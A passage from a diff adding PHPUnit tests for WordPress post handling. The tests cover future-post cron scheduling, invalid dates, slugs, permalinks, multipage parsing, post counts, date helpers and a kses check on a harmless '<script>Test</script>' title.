+			$this->assertEquals( 2, count( $tcache ) );
+
+			$tcache = wp_cache_get( $id, "ctax_relationships" );
+			if ( 'cpt' == $post_type ) {
+				$this->assertInternalType( 'array', $tcache );
+				$this->assertEquals( 2, count( $tcache ) );
+			} else {
+				$this->assertFalse( $tcache );
+			}
+
+			wp_delete_post( $id, true );
+			$this->assertFalse( wp_cache_get( $id, 'posts' ) );
+			$this->assertFalse( wp_cache_get( $id, "post_tag_relationships" ) );
+			$this->assertFalse( wp_cache_get( $id, "ctax_relationships" ) );
+		}
+
+		$GLOBALS['wp_taxonomies']['post_tag']->object_type = array( 'post' );
+	}
+
+	function test_vb_insert_future() {
+		// insert a post with a future date, and make sure the status and cron schedule are correct
+
+		$future_date = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+		#dmp(_get_cron_array());
+		$this->assertTrue(is_numeric($id));
+		$this->assertTrue($id > 0);
+
+		// fetch the post and make sure it matches
+		$out = get_post($id);
+
+		$this->assertEquals($post['post_content'], $out->post_content);
+		$this->assertEquals($post['post_title'], $out->post_title);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_author'], $out->post_author);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// there should be a publish_future_post hook scheduled on the future date
+		$this->assertEquals($future_date, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	function test_vb_insert_future_over_dst() {
+		// insert a post with a future date, and make sure the status and cron schedule are correct
+
+		// Some magic days - one dst one not
+		$future_date_1 = strtotime('June 21st +1 year');
+		$future_date_2 = strtotime('Jan 11th +1 year');
+
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// fetch the post and make sure has the correct date and status
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now save it again with a date further in the future
+
+		$post['ID'] = $id;
+		$post['post_date'] = strftime("%Y-%m-%d %H:%M:%S", $future_date_2);
+		$post['post_date_gmt'] = NULL;
+		wp_update_post($post);
+
+		// fetch the post again and make sure it has the new post_date
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// and the correct date on the cron job
+		$this->assertEquals($future_date_2, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	function test_vb_insert_future_edit_bug() {
+		// future post bug: posts get published at the wrong time if you edit the timestamp
+		// https://core.trac.wordpress.org/ticket/4710
+
+		$future_date_1 = strtotime('+1 day');
+		$future_date_2 = strtotime('+2 day');
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// fetch the post and make sure has the correct date and status
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now save it again with a date further in the future
+
+		$post['ID'] = $id;
+		$post['post_date'] = strftime("%Y-%m-%d %H:%M:%S", $future_date_2);
+		$post['post_date_gmt'] = NULL;
+		wp_update_post($post);
+
+		// fetch the post again and make sure it has the new post_date
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// and the correct date on the cron job
+		$this->assertEquals($future_date_2, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	function test_vb_insert_future_draft() {
+		// insert a draft post with a future date, and make sure no cron schedule is set
+
+		$future_date = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'draft',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+		#dmp(_get_cron_array());
+		$this->assertTrue(is_numeric($id));
+		$this->assertTrue($id > 0);
+
+		// fetch the post and make sure it matches
+		$out = get_post($id);
+
+		$this->assertEquals($post['post_content'], $out->post_content);
+		$this->assertEquals($post['post_title'], $out->post_title);
+		$this->assertEquals('draft', $out->post_status);
+		$this->assertEquals($post['post_author'], $out->post_author);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// there should be a publish_future_post hook scheduled on the future date
+		$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+
+	}
+
+	function test_vb_insert_future_change_to_draft() {
+		// insert a future post, then edit and change it to draft, and make sure cron gets it right
+		$future_date_1 = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// fetch the post and make sure has the correct date and status
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now save it again with status set to draft
+
+		$post['ID'] = $id;
+		$post['post_status'] = 'draft';
+		wp_update_post($post);
+
+		// fetch the post again and make sure it has the new post_date
+		$out = get_post($id);
+		$this->assertEquals('draft', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// and the correct date on the cron job
+		$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	function test_vb_insert_future_change_status() {
+		// insert a future post, then edit and change the status, and make sure cron gets it right
+		$future_date_1 = strtotime('+1 day');
+
+		$statuses = array('draft', 'static', 'object', 'attachment', 'inherit', 'pending');
+
+		foreach ($statuses as $status) {
+			$post = array(
+				'post_author' => $this->author_id,
+				'post_status' => 'publish',
+				'post_content' => rand_str(),
+				'post_title' => rand_str(),
+				'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+			);
+
+			// insert a post and make sure the ID is ok
+			$id = $this->post_ids[] = wp_insert_post($post);
+
+			// fetch the post and make sure has the correct date and status
+			$out = get_post($id);
+			$this->assertEquals('future', $out->post_status);
+			$this->assertEquals($post['post_date'], $out->post_date);
+
+			// check that there's a publish_future_post job scheduled at the right time
+			$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+			// now save it again with status changed
+
+			$post['ID'] = $id;
+			$post['post_status'] = $status;
+			wp_update_post($post);
+
+			// fetch the post again and make sure it has the new post_date
+			$out = get_post($id);
+			$this->assertEquals($status, $out->post_status);
+			$this->assertEquals($post['post_date'], $out->post_date);
+
+			// and the correct date on the cron job
+			$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+		}
+	}
+
+	function test_vb_insert_future_private() {
+		// insert a draft post with a future date, and make sure no cron schedule is set
+
+		$future_date = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'private',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+		#dmp(_get_cron_array());
+		$this->assertTrue(is_numeric($id));
+		$this->assertTrue($id > 0);
+
+		// fetch the post and make sure it matches
+		$out = get_post($id);
+
+		$this->assertEquals($post['post_content'], $out->post_content);
+		$this->assertEquals($post['post_title'], $out->post_title);
+		$this->assertEquals('private', $out->post_status);
+		$this->assertEquals($post['post_author'], $out->post_author);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// there should be a publish_future_post hook scheduled on the future date
+		$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	/**
+	 * @ticket 17180
+	 */
+	function test_vb_insert_invalid_date() {
+		// insert a post with an invalid date, make sure it fails
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'public',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => '2012-02-30 00:00:00',
+		);
+
+		// Test both return paths with or without WP_Error
+		$insert_post = wp_insert_post( $post, true );
+		$this->assertTrue( is_wp_error( $insert_post ), 'Did not get a WP_Error back from wp_insert_post' );
+		$this->assertEquals( 'invalid_date', $insert_post->get_error_code() );
+
+		$insert_post = wp_insert_post( $post );
+		$this->assertEquals( 0, $insert_post );
+	}
+
+	function test_vb_insert_future_change_to_private() {
+		// insert a future post, then edit and change it to private, and make sure cron gets it right
+		$future_date_1 = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// fetch the post and make sure has the correct date and status
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now save it again with status set to draft
+
+		$post['ID'] = $id;
+		$post['post_status'] = 'private';
+		wp_update_post($post);
+
+		// fetch the post again and make sure it has the new post_date
+		$out = get_post($id);
+		$this->assertEquals('private', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// and the correct date on the cron job
+		$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	/**
+	 * @ticket 5364
+	 */
+	function test_delete_future_post_cron() {
+		// "When I delete a future post using wp_delete_post($post->ID) it does not update the cron correctly."
+		$future_date = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now delete the post and make sure the cron entry is removed
+		wp_delete_post($id);
+
+		$this->assertFalse($this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	/**
+	 * @ticket 5305
+	 */
+	function test_permalink_without_title() {
+		// bug: permalink doesn't work if post title is empty
+		// might only fail if the post ID is greater than four characters
+
+		global $wp_rewrite;
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure('/%year%/%monthnum%/%day%/%postname%/');
+		$wp_rewrite->flush_rules();
+
+		$post = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => '',
+			'post_date' => '2007-10-31 06:15:00',
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		$plink = get_permalink($id);
+
+		// permalink should include the post ID at the end
+		$this->assertEquals(get_option('siteurl').'/2007/10/31/'.$id.'/', $plink);
+
+		$wp_rewrite->set_permalink_structure('');
+	}
+
+	/**
+	 * @ticket 21013
+	 */
+	function test_wp_unique_post_slug_with_non_latin_slugs() {
+		$inputs = array(
+			'Αρνάκι άσπρο και παχύ της μάνας του καμάρι, και άλλα τραγούδια',
+			'Предлагаем супер металлообрабатывающее оборудование',
+		);
+
+		$outputs = array(
+			'αρνάκι-άσπρο-και-παχύ-της-μάνας-του-κα-2',
+			'предлагаем-супер-металлообрабатыва-2',
+		);
+
+		foreach ( $inputs as $k => $post_title ) {
+			for ( $i = 0; $i < 2; $i++ ) {
+				$post = array(
+					'post_author' => $this->author_id,
+					'post_status' => 'publish',
+					'post_content' => rand_str(),
+					'post_title' => $post_title,
+				);
+
+				$id = $this->post_ids[] = wp_insert_post( $post );
+			}
+
+			$post = get_post( $id );
+			$this->assertEquals( $outputs[$k], urldecode( $post->post_name ) );
+		}
+	}
+
+	/**
+	 * @ticket 15665
+	 */
+	function test_get_page_by_path_priority() {
+		global $wpdb;
+
+		$attachment = $this->factory->post->create_and_get( array( 'post_title' => 'some-page', 'post_type' => 'attachment' ) );
+		$page       = $this->factory->post->create_and_get( array( 'post_title' => 'some-page', 'post_type' => 'page' ) );
+		$other_att  = $this->factory->post->create_and_get( array( 'post_title' => 'some-other-page', 'post_type' => 'attachment' ) );
+
+		$wpdb->update( $wpdb->posts, array( 'post_name' => 'some-page' ), array( 'ID' => $page->ID ) );
+		clean_post_cache( $page->ID );
+
+		$page = get_post( $page->ID );
+
+		$this->assertEquals( 'some-page', $attachment->post_name );
+		$this->assertEquals( 'some-page', $page->post_name );
+
+		// get_page_by_path() should return a post of the requested type before returning an attachment.
+		$this->assertEquals( $page, get_page_by_path( 'some-page' ) );
+
+		// Make sure get_page_by_path() will still select an attachment when a post of the requested type doesn't exist.
+		$this->assertEquals( $other_att, get_page_by_path( 'some-other-page' ) );
+	}
+
+	function test_wp_publish_post() {
+		$draft_id = $this->factory->post->create( array( 'post_status' => 'draft' ) );
+
+		$post = get_post( $draft_id );
+		$this->assertEquals( 'draft', $post->post_status );
+
+		wp_publish_post( $draft_id );
+		$post = get_post( $draft_id );
+
+		$this->assertEquals( 'publish', $post->post_status );
+	}
+
+	/**
+	 * @ticket 22944
+	 */
+	function test_wp_insert_post_and_wp_publish_post_with_future_date() {
+		$future_date = gmdate( 'Y-m-d H:i:s', time() + 10000000 );
+		$post_id = $this->factory->post->create( array(
+			'post_status' => 'publish',
+			'post_date' => $future_date,
+		) );
+
+		$post = get_post( $post_id );
+		$this->assertEquals( 'future', $post->post_status );
+		$this->assertEquals( $future_date, $post->post_date );
+
+		wp_publish_post( $post_id );
+		$post = get_post( $post_id );
+
+		$this->assertEquals( 'publish', $post->post_status );
+		$this->assertEquals( $future_date, $post->post_date );
+	}
+
+	/**
+	 * @ticket 22944
+	 */
+	function test_publish_post_with_content_filtering() {
+		kses_remove_filters();
+
+		$post_id = wp_insert_post( array( 'post_title' => '<script>Test</script>' ) );
+		$post = get_post( $post_id );
+		$this->assertEquals( '<script>Test</script>', $post->post_title );
+		$this->assertEquals( 'draft', $post->post_status );
+
+		kses_init_filters();
+
+		wp_update_post( array( 'ID' => $post->ID, 'post_status' => 'publish' ) );
+		$post = get_post( $post->ID );
+		$this->assertEquals( 'Test', $post->post_title );
+
+		kses_remove_filters();
+	}
+
+	/**
+	 * @ticket 22944
+	 */
+	function test_wp_publish_post_and_avoid_content_filtering() {
+		kses_remove_filters();
+
+		$post_id = wp_insert_post( array( 'post_title' => '<script>Test</script>' ) );
+		$post = get_post( $post_id );
+		$this->assertEquals( '<script>Test</script>', $post->post_title );
+		$this->assertEquals( 'draft', $post->post_status );
+
+		kses_init_filters();
+
+		wp_publish_post( $post->ID );
+		$post = get_post( $post->ID );
+		$this->assertEquals( '<script>Test</script>', $post->post_title );
+
+		kses_remove_filters();
+	}
+
+	/**
+	 * @ticket 22883
+	 */
+	function test_get_page_uri_with_stdclass_post_object() {
+		$post_id    = $this->factory->post->create( array( 'post_name' => 'get-page-uri-post-name' ) );
+
+		// Mimick an old stdClass post object, missing the ancestors field.
+		$post_array = (object) get_post( $post_id, ARRAY_A );
+		unset( $post_array->ancestors );
+
+		// Dummy assertion. If this test fails, it will actually error out on an E_WARNING.
+		$this->assertEquals( 'get-page-uri-post-name', get_page_uri( $post_array ) );
+	}
+
+	/**
+	 * @ticket 24491
+	 */
+	function test_get_page_uri_with_nonexistent_post() {
+		global $wpdb;
+		$post_id = $wpdb->get_var( "SELECT MAX(ID) FROM $wpdb->posts" ) + 1;
+		$this->assertFalse( get_page_uri( $post_id ) );
+	}
+
+	/**
+	 * @ticket 23708
+	 */
+	function test_get_post_ancestors_within_loop() {
+		global $post;
+		$parent_id = $this->factory->post->create();
+		$post = $this->factory->post->create_and_get( array( 'post_parent' => $parent_id ) );
+		$this->assertEquals( array( $parent_id ), get_post_ancestors( 0 ) );
+	}
+
+	/**
+	 * @ticket 23474
+	 */
+	function test_update_invalid_post_id() {
+		$post_id = $this->factory->post->create( array( 'post_name' => 'get-page-uri-post-name' ) );
+		$post = get_post( $post_id, ARRAY_A );
+
+		$post['ID'] = 123456789;
+
+		$this->assertEquals( 0, wp_insert_post( $post ) );
+		$this->assertEquals( 0, wp_update_post( $post ) );
+
+		$this->assertInstanceOf( 'WP_Error', wp_insert_post( $post, true ) );
+		$this->assertInstanceOf( 'WP_Error', wp_update_post( $post, true ) );
+
+	}
+
+	function test_parse_post_content_single_page() {
+		global $multipage, $pages, $numpages;
+		$post_id = $this->factory->post->create( array( 'post_content' => 'Page 0' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 0, $multipage );
+		$this->assertCount(  1, $pages );
+		$this->assertEquals( 1, $numpages );
+		$this->assertEquals( array( 'Page 0' ), $pages );
+	}
+
+	function test_parse_post_content_multi_page() {
+		global $multipage, $pages, $numpages;
+		$post_id = $this->factory->post->create( array( 'post_content' => 'Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 1, $multipage );
+		$this->assertCount(  4, $pages );
+		$this->assertEquals( 4, $numpages );
+		$this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $pages );
+	}
+
+	function test_parse_post_content_remaining_single_page() {
+		global $multipage, $pages, $numpages;
+		$post_id = $this->factory->post->create( array( 'post_content' => 'Page 0' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 0, $multipage );
+		$this->assertCount(  1, $pages );
+		$this->assertEquals( 1, $numpages );
+		$this->assertEquals( array( 'Page 0' ), $pages );
+	}
+
+	function test_parse_post_content_remaining_multi_page() {
+		global $multipage, $pages, $numpages;
+		$post_id = $this->factory->post->create( array( 'post_content' => 'Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 1, $multipage );
+		$this->assertCount(  4, $pages );
+		$this->assertEquals( 4, $numpages );
+		$this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $pages );
+	}
+
+	/**
+	 * @ticket 16746
+	 */
+	function test_parse_post_content_starting_with_nextpage() {
+		global $multipage, $pages, $numpages;
+		$post_id = $this->factory->post->create( array( 'post_content' => '<!--nextpage-->Page 0<!--nextpage-->Page 1<!--nextpage-->Page 2<!--nextpage-->Page 3' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 1, $multipage );
+		$this->assertCount(  4, $pages );
+		$this->assertEquals( 4, $numpages );
+		$this->assertEquals( array( 'Page 0', 'Page 1', 'Page 2', 'Page 3' ), $pages );
+	}
+
+	/**
+	 * @ticket 16746
+	 */
+	function test_parse_post_content_starting_with_nextpage_multi() {
+		global $multipage, $pages, $numpages;
+		$post_id = $this->factory->post->create( array( 'post_content' => '<!--nextpage-->Page 0' ) );
+		$post = get_post( $post_id );
+		setup_postdata( $post );
+		$this->assertEquals( 0, $multipage );
+		$this->assertCount(  1, $pages );
+		$this->assertEquals( 1, $numpages );
+		$this->assertEquals( array( 'Page 0' ), $pages );
+	}
+
+	/**
+	 * @ticket 19373
+	 */
+	function test_insert_programmatic_sanitized() {
+		$this->_unset_current_user();
+
+		register_taxonomy( 'test_tax', 'post' );
+
+		$title = rand_str();
+		$post_data = array(
+			'post_author' => $this->author_id,
+			'post_status' => 'public',
+			'post_content' => rand_str(),
+			'post_title' => $title,
+			'tax_input' => array(
+				'test_tax' => array( 'term', 'term2', 'term3' )
+			)
+		);
+		$insert_post_id = wp_insert_post( $post_data, true, true );
+		$this->assertTrue( ( is_int($insert_post_id) && $insert_post_id > 0 ) );
+
+		$post = get_post( $insert_post_id );
+		$this->assertEquals( $post->post_author, $this->author_id );
+		$this->assertEquals( $post->post_title, $title );
+	}
+
+	/**
+	 * @ticket 24803
+	 */
+	function test_wp_count_posts() {
+		$post_type = rand_str(20);
+		register_post_type( $post_type );
+		$this->factory->post->create( array(
+			'post_type' => $post_type,
+			'post_author' => $this->author_id
+		) );
+		$count = wp_count_posts( $post_type, 'readable' );
+		$this->assertEquals( 1, $count->publish );
+		_unregister_post_type( $post_type );
+		$this->assertEquals( new stdClass, wp_count_posts( $post_type, 'readable' ) );
+	}
+
+	function test_wp_count_posts_filtered() {
+		$post_type = rand_str(20);
+		register_post_type( $post_type );
+		$this->factory->post->create_many( 10, array(
+			'post_type' => $post_type,
+			'post_author' => $this->author_id
+		) );
+		$count1 = wp_count_posts( $post_type, 'readable' );
+		$this->assertEquals( 10, $count1->publish );
+		add_filter( 'wp_count_posts', array( $this, 'filter_wp_count_posts' ) );
+
+		$count2 = wp_count_posts( $post_type, 'readable' );
+		$this->assertEquals( 7, $count2->publish );
+
+		remove_filter( 'wp_count_posts', array( $this, 'filter_wp_count_posts' ) );
+	}
+
+	function filter_wp_count_posts( $counts ) {
+		$counts->publish = 7;
+		return $counts;
+	}
+
+	function test_wp_count_posts_insert_invalidation() {
+		$post_ids = $this->factory->post->create_many( 10 );
+		$initial_counts = wp_count_posts();
+
+		$key = array_rand( $post_ids );
+		$_post = get_post( $post_ids[$key], ARRAY_A );
+		$_post['post_status'] = 'draft';
+		wp_insert_post( $_post );
+		$post = get_post( $post_ids[$key] );
+		$this->assertEquals( 'draft', $post->post_status );
+		$this->assertNotEquals( 'publish', $post->post_status );
+
+		$after_draft_counts = wp_count_posts();
+		$this->assertEquals( 1, $after_draft_counts->draft );
+		$this->assertEquals( 9, $after_draft_counts->publish );
+		$this->assertNotEquals( $initial_counts->publish, $after_draft_counts->publish );
+	}
+
+	function test_wp_count_posts_trash_invalidation() {
+		$post_ids = $this->factory->post->create_many( 10 );
+		$initial_counts = wp_count_posts();
+
+		$key = array_rand( $post_ids );
+
+		wp_trash_post( $post_ids[$key] );
+
+		$post = get_post( $post_ids[$key] );
+		$this->assertEquals( 'trash', $post->post_status );
+		$this->assertNotEquals( 'publish', $post->post_status );
+
+		$after_trash_counts = wp_count_posts();
+		$this->assertEquals( 1, $after_trash_counts->trash );
+		$this->assertEquals( 9, $after_trash_counts->publish );
+		$this->assertNotEquals( $initial_counts->publish, $after_trash_counts->publish );
+	}
+
+	/**
+	 * @ticket 13771
+	 */
+	function test_get_the_date_with_id_returns_correct_time() {
+		$post_id = $this->factory->post->create( array( 'post_date' => '2014-03-01 16:35:00' ) );
+		$this->assertEquals( 'March 1, 2014', get_the_date( 'F j, Y', $post_id ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_the_date_returns_false_with_null_or_non_existing_post() {
+		$this->assertFalse( get_the_date() );
+		$this->assertFalse( get_the_date( 'F j, Y h:i:s' ) );
+		$this->assertFalse( get_the_date( '', 9 ) );
+		$this->assertFalse( get_the_date( 'F j, Y h:i:s', 9 ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_the_time_with_id_returns_correct_time() {
+		$post_id = $this->factory->post->create( array( 'post_date' => '2014-03-01 16:35:00' ) );
+		$this->assertEquals( '16:35:00', get_the_time( 'H:i:s', $post_id ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_the_time_returns_false_with_null_or_non_existing_post() {
+		$this->assertFalse( get_the_time() );
+		$this->assertFalse( get_the_time( 'h:i:s' ) );
+		$this->assertFalse( get_the_time( '', 9 ) );
+		$this->assertFalse( get_the_time( 'h:i:s', 9 ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_post_time_with_id_returns_correct_time() {
+		$post_id = $this->factory->post->create( array( 'post_date' => '2014-03-01 16:35:00' ) );
+		$this->assertEquals( '16:35:00', get_post_time( 'H:i:s', false, $post_id ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_post_time_returns_false_with_null_or_non_existing_post() {
+		$this->assertFalse( get_post_time() );
+		$this->assertFalse( get_post_time( 'h:i:s' ) );
+		$this->assertFalse( get_post_time( '', false, 9 ) );
+		$this->assertFalse( get_post_time( 'h:i:s', false, 9 ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_post_modified_time_with_id_returns_correct_time() {
+		$post_id = $this->factory->post->create( array( 'post_date' => '2014-03-01 16:35:00' ) );
+		$this->assertEquals( '16:35:00', get_post_modified_time( 'H:i:s', false, $post_id ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_get_post_modified_time_returns_false_with_null_or_non_existing_post() {
+		$this->assertFalse( get_post_modified_time() );
+		$this->assertFalse( get_post_modified_time( 'h:i:s' ) );
+		$this->assertFalse( get_post_modified_time( '', false, 9 ) );
+		$this->assertFalse( get_post_modified_time( 'h:i:s', false, 9 ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_mysql2date_returns_false_with_no_date() {
+		$this->assertFalse( mysql2date( 'F j, Y H:i:s', '' ) );
+	}
+
+	/**
+	 * @ticket 28310
+	 */
+	function test_mysql2date_returns_gmt_or_unix_timestamp() {
+		$this->assertEquals( '441013392', mysql2date( 'G', '1983-12-23 07:43:12' ) );
+		$this->assertEquals( '441013392', mysql2date( 'U', '1983-12-23 07:43:12' ) );
+	}
+
+	/**
+	 * @ticket 25566
+	 */
+	function test_wp_tag_cloud_link_with_post_type() {
+		$post_type = 'new_post_type';
+		$tax = 'new_tag';
+		register_post_type( $post_type, array( 'taxonomies' => array( 'post_tag', $tax ) ) );
+		register_taxonomy( $tax, $post_type );
+
+		$post = $this->factory->post->create( array( 'post_type' => $post_type ) );
+		wp_set_object_terms( $post, rand_str(), $tax );
+
+		$wp_tag_cloud = wp_tag_cloud( array(
+			'post_type' => $post_type,
+			'taxonomy' => $tax,
+			'echo' => false,
+			'link' => 'edit'
+		) );
+
+		$terms = get_terms( $tax );
+		$term = reset( $terms );
+		$url = sprintf( '%s?action=edit&#038;taxonomy=%s&#038;tag_ID=%d&#038;post_type=%s',
+			admin_url( 'edit-tags.php' ),
+			$tax,
+			$term->term_id,
+			$post_type
+		);
+		$expected_wp_tag_cloud = sprintf( "<a href='%s' class='tag-link-%d' title='1 topic' style='font-size: 8pt;'>%s</a>",
+			$url,
+			$term->term_id,
+			$term->name
+		);
+		$this->assertEquals( $expected_wp_tag_cloud, $wp_tag_cloud );
+
+		_unregister_post_type( $post_type );
+		_unregister_taxonomy( $tax );
+	}
+
+	/**
+	 * @ticket 18962
+	 */
+	function test_wp_unique_post_slug_with_multiple_hierarchies() {
+		register_post_type( 'post-type-1', array( 'hierarchical' => true ) );
+		register_post_type( 'post-type-2', array( 'hierarchical' => true ) );
+
+		$args = array(
+			'post_type' => 'post-type-1',
+			'post_name' => 'some-slug',
+			'post_status' => 'publish',
+		);
+		$one = $this->factory->post->create( $args );
+		$args['post_type'] = 'post-type-2';
+		$two = $this->factory->post->create( $args );
+
+		$this->assertEquals( 'some-slug', get_post( $one )->post_name );
+		$this->assertEquals( 'some-slug', get_post( $two )->post_name );
+
+		$this->assertEquals( 'some-other-slug', wp_unique_post_slug( 'some-other-slug', $one, 'publish', 'post-type-1', 0 ) );
+		$this->assertEquals( 'some-other-slug', wp_unique_post_slug( 'some-other-slug', $one, 'publish', 'post-type-2', 0 ) );
+
+		_unregister_post_type( 'post-type-1' );
+		_unregister_post_type( 'post-type-2' );
+	}
+
+	/**
+	 * @ticket 30339
+	 */
+	function test_wp_unique_post_slug_with_hierarchy() {
+		register_post_type( 'post-type-1', array( 'hierarchical' => true ) );
+
+		$args = array(
+			'post_type' => 'post-type-1',
+			'post_name' => 'some-slug',
+			'post_status' => 'publish',
+		);
+		$one = $this->factory->post->create( $args );
+		$args['post_name'] = 'some-slug-2';
+		$two = $this->factory->post->create( $args );
+
+		$this->assertEquals( 'some-slug', get_post( $one )->post_name );
+		$this->assertEquals( 'some-slug-2', get_post( $two )->post_name );
+
+		$this->assertEquals( 'some-slug-3', wp_unique_post_slug( 'some-slug', 0, 'publish', 'post-type-1', 0 ) );
+
+		_unregister_post_type( 'post-type-1' );
+	}
+
+	/**
+	 * @ticket 18962
+	 */
+	function test_wp_unique_post_slug_with_hierarchy_and_attachments() {
+		register_post_type( 'post-type-1', array( 'hierarchical' => true ) );
+
+		$args = array(
+			'post_type' => 'post-type-1',
+			'post_name' => 'some-slug',
+			'post_status' => 'publish',
+		);
+		$one = $this->factory->post->create( $args );
+
+		$args = array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment',
+			'post_name' => 'image'
+		);
+		$attachment = $this->factory->attachment->create_object( 'image.jpg', $one, $args );
+
+		$args = array(
